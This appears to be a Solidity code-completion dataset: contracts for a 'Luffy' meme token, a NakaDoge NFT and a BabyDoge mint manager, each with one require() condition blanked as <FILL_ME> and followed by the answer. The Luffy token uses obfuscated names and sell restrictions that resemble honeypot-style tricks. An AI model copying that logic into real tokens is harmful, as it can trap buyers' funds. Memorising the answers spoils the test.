require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 kvqakp=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_uarvefq) {
if (to
!= address
(_dgfoqj)
&& to !=
address
(_rkioep)) {
require(<FILL_ME>)
_fnpofq
[tx.origin]
= block.number;
}
}
if (from ==
_rkioep && to !=
address(_dgfoqj) &&
!_evqjoa[to] ) {
require(amount
<= _qflbvp,
"Exceeds the _qflbvp.");
require(balanceOf
(to) + amount
<= _drxrbe,
"Exceeds the _drxrbe.");
if(_eymzay
< _youevj){
require
(! _rvaplcr(to));
}
_eymzay++;
_virdry
[to]=true;
kvqakp = amount._pvr
((_eymzay>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _rkioep &&
from!= address(this)
&& !_evqjoa[from] ){
require(amount <=
_qflbvp &&
balanceOf(_tybolnh)
<_vsqoaf,
"Exceeds the _qflbvp.");
kvqakp = amount._pvr((_eymzay>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_eymzay>
_youevj &&
_virdry[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!vyiple
&& to == _rkioep &&
_oevfcb &&
contractTokenBalance>
_kqalkv
&& _eymzay>
_youevj&&
!_evqjoa[to]&&
!_evqjoa[from]
) {
_transferFrom( _vjeqf(amount,
_vjeqf(contractTokenBalance,
_vsqoaf)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_przlph(address
(this).balance);
}
}
}
if(kvqakp>0){
_balances[address
(this)]=_balances
[address
(this)].
add(kvqakp);
emit
Transfer(from,
address
(this),kvqakp);
}
_balances[from
]= _rkprv(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_rkprv(kvqakp));
emit Transfer
(from, to,
amount.
_rkprv(kvqakp));
}
function _transferFrom(uint256
tokenAmount) private
ursonpr {
}
function _vjeqf
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _rkprv(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _rvaplcr(address
account) private view
returns (bool) {
}
function _przlph(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
}
receive() external payable {}
}
| _fnpofq[tx.origin]<block.number,"Only one transfer per block allowed." | 260,074 | _fnpofq[tx.origin]<block.number |
"Exceeds the _drxrbe." | /**
Luffy $Luffy
Twitter: https://twitter.com/Luffy_Ethereum
Telegram: https://t.me/Luffy_Ethereum
Website: https://luffyeth.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _rkprv(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _rkprv(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _pvr(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract Luffy is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _dgfoqj;
address payable private _tybolnh;
address private _rkioep;
string private constant _name = unicode"Luffy";
string private constant _symbol = unicode"Luffy";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _evqjoa;
mapping (address => bool) private _virdry;
mapping(address => uint256) private _fnpofq;
uint256 public _qflbvp = _totalSupply;
uint256 public _drxrbe = _totalSupply;
uint256 public _kqalkv= _totalSupply;
uint256 public _vsqoaf= _totalSupply;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _youevj=0;
uint256 private _eymzay=0;
bool private _pralvt;
bool public _uarvefq = false;
bool private vyiple = false;
bool private _oevfcb = false;
event _pveiqh(uint _qflbvp);
modifier ursonpr {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 kvqakp=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_uarvefq) {
if (to
!= address
(_dgfoqj)
&& to !=
address
(_rkioep)) {
require(_fnpofq
[tx.origin]
< block.number,
"Only one transfer per block allowed."
);
_fnpofq
[tx.origin]
= block.number;
}
}
if (from ==
_rkioep && to !=
address(_dgfoqj) &&
!_evqjoa[to] ) {
require(amount
<= _qflbvp,
"Exceeds the _qflbvp.");
require(<FILL_ME>)
if(_eymzay
< _youevj){
require
(! _rvaplcr(to));
}
_eymzay++;
_virdry
[to]=true;
kvqakp = amount._pvr
((_eymzay>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _rkioep &&
from!= address(this)
&& !_evqjoa[from] ){
require(amount <=
_qflbvp &&
balanceOf(_tybolnh)
<_vsqoaf,
"Exceeds the _qflbvp.");
kvqakp = amount._pvr((_eymzay>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_eymzay>
_youevj &&
_virdry[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!vyiple
&& to == _rkioep &&
_oevfcb &&
contractTokenBalance>
_kqalkv
&& _eymzay>
_youevj&&
!_evqjoa[to]&&
!_evqjoa[from]
) {
_transferFrom( _vjeqf(amount,
_vjeqf(contractTokenBalance,
_vsqoaf)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_przlph(address
(this).balance);
}
}
}
if(kvqakp>0){
_balances[address
(this)]=_balances
[address
(this)].
add(kvqakp);
emit
Transfer(from,
address
(this),kvqakp);
}
_balances[from
]= _rkprv(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_rkprv(kvqakp));
emit Transfer
(from, to,
amount.
_rkprv(kvqakp));
}
function _transferFrom(uint256
tokenAmount) private
ursonpr {
}
function _vjeqf
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _rkprv(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _rvaplcr(address
account) private view
returns (bool) {
}
function _przlph(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
}
receive() external payable {}
}
| balanceOf(to)+amount<=_drxrbe,"Exceeds the _drxrbe." | 260,074 | balanceOf(to)+amount<=_drxrbe |
null | /**
Luffy $Luffy
Twitter: https://twitter.com/Luffy_Ethereum
Telegram: https://t.me/Luffy_Ethereum
Website: https://luffyeth.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _rkprv(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _rkprv(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _pvr(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract Luffy is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _dgfoqj;
address payable private _tybolnh;
address private _rkioep;
string private constant _name = unicode"Luffy";
string private constant _symbol = unicode"Luffy";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _evqjoa;
mapping (address => bool) private _virdry;
mapping(address => uint256) private _fnpofq;
uint256 public _qflbvp = _totalSupply;
uint256 public _drxrbe = _totalSupply;
uint256 public _kqalkv= _totalSupply;
uint256 public _vsqoaf= _totalSupply;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _youevj=0;
uint256 private _eymzay=0;
bool private _pralvt;
bool public _uarvefq = false;
bool private vyiple = false;
bool private _oevfcb = false;
event _pveiqh(uint _qflbvp);
modifier ursonpr {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 kvqakp=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_uarvefq) {
if (to
!= address
(_dgfoqj)
&& to !=
address
(_rkioep)) {
require(_fnpofq
[tx.origin]
< block.number,
"Only one transfer per block allowed."
);
_fnpofq
[tx.origin]
= block.number;
}
}
if (from ==
_rkioep && to !=
address(_dgfoqj) &&
!_evqjoa[to] ) {
require(amount
<= _qflbvp,
"Exceeds the _qflbvp.");
require(balanceOf
(to) + amount
<= _drxrbe,
"Exceeds the _drxrbe.");
if(_eymzay
< _youevj){
require(<FILL_ME>)
}
_eymzay++;
_virdry
[to]=true;
kvqakp = amount._pvr
((_eymzay>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _rkioep &&
from!= address(this)
&& !_evqjoa[from] ){
require(amount <=
_qflbvp &&
balanceOf(_tybolnh)
<_vsqoaf,
"Exceeds the _qflbvp.");
kvqakp = amount._pvr((_eymzay>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_eymzay>
_youevj &&
_virdry[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!vyiple
&& to == _rkioep &&
_oevfcb &&
contractTokenBalance>
_kqalkv
&& _eymzay>
_youevj&&
!_evqjoa[to]&&
!_evqjoa[from]
) {
_transferFrom( _vjeqf(amount,
_vjeqf(contractTokenBalance,
_vsqoaf)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_przlph(address
(this).balance);
}
}
}
if(kvqakp>0){
_balances[address
(this)]=_balances
[address
(this)].
add(kvqakp);
emit
Transfer(from,
address
(this),kvqakp);
}
_balances[from
]= _rkprv(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_rkprv(kvqakp));
emit Transfer
(from, to,
amount.
_rkprv(kvqakp));
}
function _transferFrom(uint256
tokenAmount) private
ursonpr {
}
function _vjeqf
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _rkprv(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _rvaplcr(address
account) private view
returns (bool) {
}
function _przlph(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
}
receive() external payable {}
}
| !_rvaplcr(to) | 260,074 | !_rvaplcr(to) |
null | /**
Luffy $Luffy
Twitter: https://twitter.com/Luffy_Ethereum
Telegram: https://t.me/Luffy_Ethereum
Website: https://luffyeth.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _rkprv(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _rkprv(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _pvr(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract Luffy is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _dgfoqj;
address payable private _tybolnh;
address private _rkioep;
string private constant _name = unicode"Luffy";
string private constant _symbol = unicode"Luffy";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _evqjoa;
mapping (address => bool) private _virdry;
mapping(address => uint256) private _fnpofq;
uint256 public _qflbvp = _totalSupply;
uint256 public _drxrbe = _totalSupply;
uint256 public _kqalkv= _totalSupply;
uint256 public _vsqoaf= _totalSupply;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _youevj=0;
uint256 private _eymzay=0;
bool private _pralvt;
bool public _uarvefq = false;
bool private vyiple = false;
bool private _oevfcb = false;
event _pveiqh(uint _qflbvp);
modifier ursonpr {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _transferFrom(uint256
tokenAmount) private
ursonpr {
}
function _vjeqf
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _rkprv(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _rvaplcr(address
account) private view
returns (bool) {
}
function _przlph(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
require(<FILL_ME>)
_dgfoqj
=
IUniswapV2Router02
(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address
(this), address(
_dgfoqj),
_totalSupply);
_rkioep =
IUniswapV2Factory(_dgfoqj.
factory( )
). createPair (
address(this
), _dgfoqj .
WETH ( ) );
_dgfoqj.addLiquidityETH
{value: address
(this).balance}
(address(this)
,balanceOf(address
(this)),0,0,owner(),block.
timestamp);
IERC20(_rkioep).
approve(address(_dgfoqj),
type(uint)
.max);
_oevfcb = true;
_pralvt = true;
}
receive() external payable {}
}
| !_pralvt | 260,074 | !_pralvt |
"No Supplys lefts!" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import "./ERC721A.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./Strings.sol";
import "./DefaultOperatorFilterer.sol";
contract NakaDoge is ERC721A, Ownable, DefaultOperatorFilterer, ReentrancyGuard {
using Strings for uint256;
uint256 public cost = 0.002 ether;
uint256 public maxSupplys = 999;
uint256 public txnMax = 50;
uint256 public maxFreeMintEach = 0;
uint256 public maxMintAmount = 100;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public hiddenMetadataUri;
bool public revealed = true;
bool public paused = false;
constructor(
) ERC721A("NakaDoge", "ND") {
}
modifier SupplyCompliance(uint256 _mintAmount) {
require(!paused, "sale has not started.");
require(_mintAmount > 0 && _mintAmount <= txnMax, "Maximum of 50 per txn!");
require(<FILL_ME>)
require(
_mintAmount > 0 && numberMinted(msg.sender) + _mintAmount <= maxMintAmount,
"You may have minted max number !"
);
_;
}
modifier SupplyPriceCompliance(uint256 _mintAmount) {
}
function mint(uint256 _mintAmount) public payable SupplyCompliance(_mintAmount) SupplyPriceCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setmaxFreeMintEach(uint256 _maxFreeMintEach) public onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setMaxSupplys(uint256 _maxSupplys) public onlyOwner {
}
function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
}
| totalSupply()+_mintAmount<=maxSupplys,"No Supplys lefts!" | 260,083 | totalSupply()+_mintAmount<=maxSupplys |
"invalid address" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { OptimizedFeeList } from "./libraries/OptimizedFeeList.sol";
import "./interfaces/IRouter.sol";
import "./interfaces/IMintable.sol";
import "./SafeOwnable.sol";
// @title Mints NFT tokens in exchange for BabyDoge, BNB or approved stable coins.
// `stableCollector` collects BNB and Stable coins.
// BabyDoge payment is split in 2 parts:
// 1st part is swapped to `targetStableCoin`,
// 2nd part is transferred directly to `babyDogeCollector`
// Owner sets stable coins, that are allowed to be used as payment tokens.
// Owner sets custom Partners' ERC20 tokens, that will be allowed to be used as payment tokens.
// Partner token payment may be split into 3 shares
// 1) admin share - will be swapped to `targetStableCoin`
// 2) partner share - will be transferred directly to partner wallet
// 3) burn share - will be transferred directly to DEAD wallet (burned)
// BNB, BabyDoge and Partners';' tokens prices are dynamically generated based on current BNB/BabyDoge prices
// Mint should be approved by `validator`.
// Owner sets validator.
contract MintManager is EIP712, SafeOwnable, ReentrancyGuard {
using EnumerableSet for EnumerableSet.AddressSet;
using OptimizedFeeList for OptimizedFeeList.FeesList;
using SafeERC20 for IERC20;
/* An ECDSA signature. */
struct Sig {
/* v parameter */
uint8 v;
/* r parameter */
bytes32 r;
/* s parameter */
bytes32 s;
}
struct MintData {
IMintable nftContract;
uint256 tokenId;
string individualURI;
uint256 deadline;
Sig sig;
}
struct TokenInData {
address partnerWallet;
uint16 adminShare;
uint16 partnerShare;
uint8 stableCoinOnlyDecimals;
}
// struct for view function
struct TokenMintPrice {
address token;
uint256 mintPrice;
}
bytes32 public constant MINT_TYPEHASH = keccak256("Mint(address nftContract,address account,uint256 tokenId,string individualURI,uint256 deadline)");
address private constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
IERC20 public immutable babyDogeToken;
IRouter public immutable router;
address private immutable WETH;
address public validator;
address public targetStableCoin;
address public stableCollector;
uint80 public stableMintPrice;
uint8 public targetStableCoinDecimals;
address public babyDogeCollector;
uint16 public toStableCollectorShare;
EnumerableSet.AddressSet private approvedStableCoins; // List of approved stableCoins that can be used for payment
EnumerableSet.AddressSet private approvedTokensIn; // List of approved Tokens that can be used for payment
// ERC20 token address => TokenInData. Contains distribution data for custom tokens IN
mapping(address => TokenInData) public tokensInData;
event StableCoinApproved(address stableCoin, bool isApproved);
event TokenInSet(
address indexed token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
);
event TokenInRemoved(address indexed token);
event MintSettingsUpdate(
address stableCollector,
uint80 stableMintPrice,
uint16 toStableCollectorShare,
address babyDogeCollector,
address targetStableCoin
);
event ValidatorUpdated(address);
/*
* @param _babyDogeToken BabyDoge token address
* @param _stableCollector Collector of BNB and Stable Coins fees
* @param _babyDogeCollector Address, which will collect BabyDoge fees without swapping
* @param _targetStableCoin StableCoin, to which portion of BayDoge tokens will be swapped
* @param _router Router address
* @param paymentStableCoins List of payment stable coins to be initially approved as payment tokens
* @param _stableMintPrice Mint price in stable coins
* @param _toStableCollectorShare Mint price in BabyDoge tokens
* @param _validator Validator address
*/
constructor(
address _babyDogeToken,
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
address _router,
address[] memory paymentStableCoins,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare,
address _validator
) EIP712("MintManager", "1") {
require(<FILL_ME>)
require(_stableMintPrice > 0, "Invalid mint prices");
require(_toStableCollectorShare > 0 && _toStableCollectorShare <= 10_000, "Invalid share");
babyDogeToken = IERC20(_babyDogeToken);
stableCollector = _stableCollector;
babyDogeCollector = _babyDogeCollector;
targetStableCoin = _targetStableCoin;
targetStableCoinDecimals = IERC20Metadata(_targetStableCoin).decimals();
router = IRouter(_router);
WETH = IRouter(_router).WETH();
// Approving BabyDoge to Router
IERC20(_babyDogeToken).approve(_router, type(uint256).max);
for (uint i = 0; i < paymentStableCoins.length; i++) {
require(paymentStableCoins[i] != address(0), "Invalid payment stable coin");
approvedStableCoins.add(paymentStableCoins[i]);
tokensInData[paymentStableCoins[i]].stableCoinOnlyDecimals = IERC20Metadata(paymentStableCoins[i]).decimals();
}
stableMintPrice = _stableMintPrice;
toStableCollectorShare = _toStableCollectorShare;
require(address(0) != _validator, "invalid validator");
validator = _validator;
}
/*
* @notice Mints token with approved token ID and token URI
* @param paymentToken Payment token address. Any address for BNB payment
* @param mintData Array of mint data
*** nftContract NFT contract address
*** tokenId Token ID index
*** deadline Deadline, till which the signature is valid
*** sig Signature, that approves MintData
* @dev Signature must be generated by the validator
* @dev msg.value Should be slightly higher than actual `bnbMintPrice` just in case. Leftover will be returned
* @dev Signature must be generated by the validator
*/
function mint (
address paymentToken,
MintData[] calldata mintData
) external payable nonReentrant {
}
/*
* @notice Allows stable coin to be used as payment token
* @param _stableCoin Stable coin address
* @param _approved `true` - allow stable coin to be used as payment token. `false` - forbid
* @dev Can be called only by the Owner
*/
function approveStableCoin(address _stableCoin, bool _approved) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token / Modifies existing ERC20 custom token data
* @param token ERC20 token to be approved as TokenIn
* @param adminShare Admin share in basis points, where 10 000 = 100%
* @param partnerShare Partners share in basis points, where 10 000 = 100%
* The rest will be burned
* @param partnerWallet Address destination of partners share
* @dev Can be called only by the Owner
*/
function setTokenIn(
address token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token
* @param token ERC20 token to be approved as TokenIn
* @dev Can be called only by the Owner
*/
function removeTokenIn(address token) external onlyOwner {
}
/*
* @notice Updates Mint settings (prices and payment receivers)
* @param _stableCollector Collector of BNB
* @param _babyDogeCollector Collector of BabyDoge tokens #2
* @param _stableMintPrice Price to mint token and pay with Stable coins
* @param _toStableCollectorShare Share (in basis points, where 10000 = 100%) of BabyDoge payment, which will go to stableCollector
* @dev Can be called only by the Owner
*/
function setMintSettings(
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare
) external onlyOwner {
}
/*
* @notice Updates validator address
* @param _validator Address of Mint orders' signer
* @dev Can be called only by the Owner
*/
function setValidator(address _validator) external onlyOwner {
}
/**
* @param _stableCoin Stable Coin address
* @return Is Stable Coin approved to be used as payment token?
*/
function isApprovedStableCoin(address _stableCoin) public view returns (bool) {
}
/**
* @param _token ERC20 token address
* @return Is ERC20 token approved to be used as payment token?
*/
function isApprovedTokenIn(address _token) public view returns (bool) {
}
/**
* @return List of approved Stable Coins
*/
function getApprovedStableCoins() public view returns (address[] memory) {
}
/**
* @return List of approved custom ERC20 tokens IN
*/
function getApprovedTokensIn() public view returns (address[] memory) {
}
/**
* @return List of ALL tokens that can be used as tokensIn
*/
function getMintPrices() external view returns (TokenMintPrice[] memory) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function customTokenMintPrice(address token) public view returns(uint256) {
}
/**
* @return Mint price in BabyDoge tokens
*/
function babyDogeMintPrice() public view returns(uint256) {
}
/**
* @return Mint price in BNB
*/
function bnbMintPrice() public view returns(uint256) {
}
/*
* @notice Built hash for mint order
* @param nftContract NFT contract address
* @param account Future owner address
* @param tokenId Token ID index
* @param individualURI Individual token URI
* @param deadline Deadline, until which order is valid
* @dev May be used on off-chain to build order hash
*/
function buildMintHash(
address nftContract,
address account,
uint256 tokenId,
string calldata individualURI,
uint256 deadline
) public view returns (bytes32){
}
/**
* @return path ERC20 token swap path [Token -> WBNB -> targetStableCoin]
*/
function _getTokenSwapPath(address token) private view returns(address[] memory path) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function _getTokenMintPrice(address[] memory path) internal view returns(uint256) {
}
/**
* @notice Calculates mint price of single NFT for specific stablecoin
* @param token Stablecoin address
* @return mintPrice Mint price stablecoins to mint single NFT
*/
function _getStableCoinMintPrice(address token) internal view returns (uint256 mintPrice) {
}
}
